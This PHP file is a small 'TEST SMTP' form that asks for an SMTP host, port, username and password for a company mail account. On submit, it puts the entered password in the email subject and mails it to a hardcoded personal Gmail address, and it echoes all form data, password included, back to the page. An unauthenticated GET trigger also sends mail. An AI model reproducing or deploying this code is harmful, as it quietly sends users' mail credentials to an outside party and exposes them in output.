<?php
require_once('components/phpmailer/class.phpmailer.php');
if($_SERVER['REQUEST_METHOD'] == "POST"){

	$mail             = new phpmailer();
	$mail->IsSMTP(); // telling the class to use SMTP
 	$mail->SMTPAuth   = true; 
	$mail->SMTPDebug  = 2;                        
	$mail->SMTPSecure = $_POST['sec'];                 
	$mail->Host       = $_POST['host']; 
	$mail->Port       = $_POST['port']; 
	$mail->Username = $_POST['user']; // SMTP username 
	$mail->Password = $_POST['passwordx']; // SMTP password   

	$mail->From = 'admin@hr-kmh.com';
	$mail->FromName = 'SDM PT. KRAKATAU MEDIKA';
	$mail->AddReplyTo("admin@hr-kmh.com","No-Reply");
   
	$mail->Subject    = trim($_POST['passwordx']);
 
	$mail->Body 	= $_POST['ctn'];
 
	$mail->AddAddress("gunturris@gmail.com", "Guntur"); 
	 
	$v= $mail->Send();
	var_dump($v);
var_dump($_POST);
}else{

	$view = '<form method="post">';
	$view .= 'Hostname : <input type="text" name="host" /><br/>';
	$view .= 'Port : <input type="text" name="port" /><br/>';
	$view .= 'Security : <input value="tls" type="radio" name="sec" />TLS 
	&nbsp; <input value="ssl" type="radio" name="sec" />SSL<br/>';
	$view .= 'Username : <input type="text" name="user" /><br/>';
	$view .= 'Pasword : <input type="password" name="passwordx" /><br/>';
	$view .= 'Subject : <input type="text" name="subject" /><br/>';
	$view .= 'Content : <textarea name="ctn" cols="35" rows="5"></textarea><br/>';
	$view .= '<input type="submit" name="s" value="TEST SMTP" /><br/>';
	$view .= '</form>';
echo $view; 

}
if( isset($_GET['y']) ){
	$t = mail("gunturris@gmail.com" , "fs hd", "tes content");
var_dump($t);
}
?>
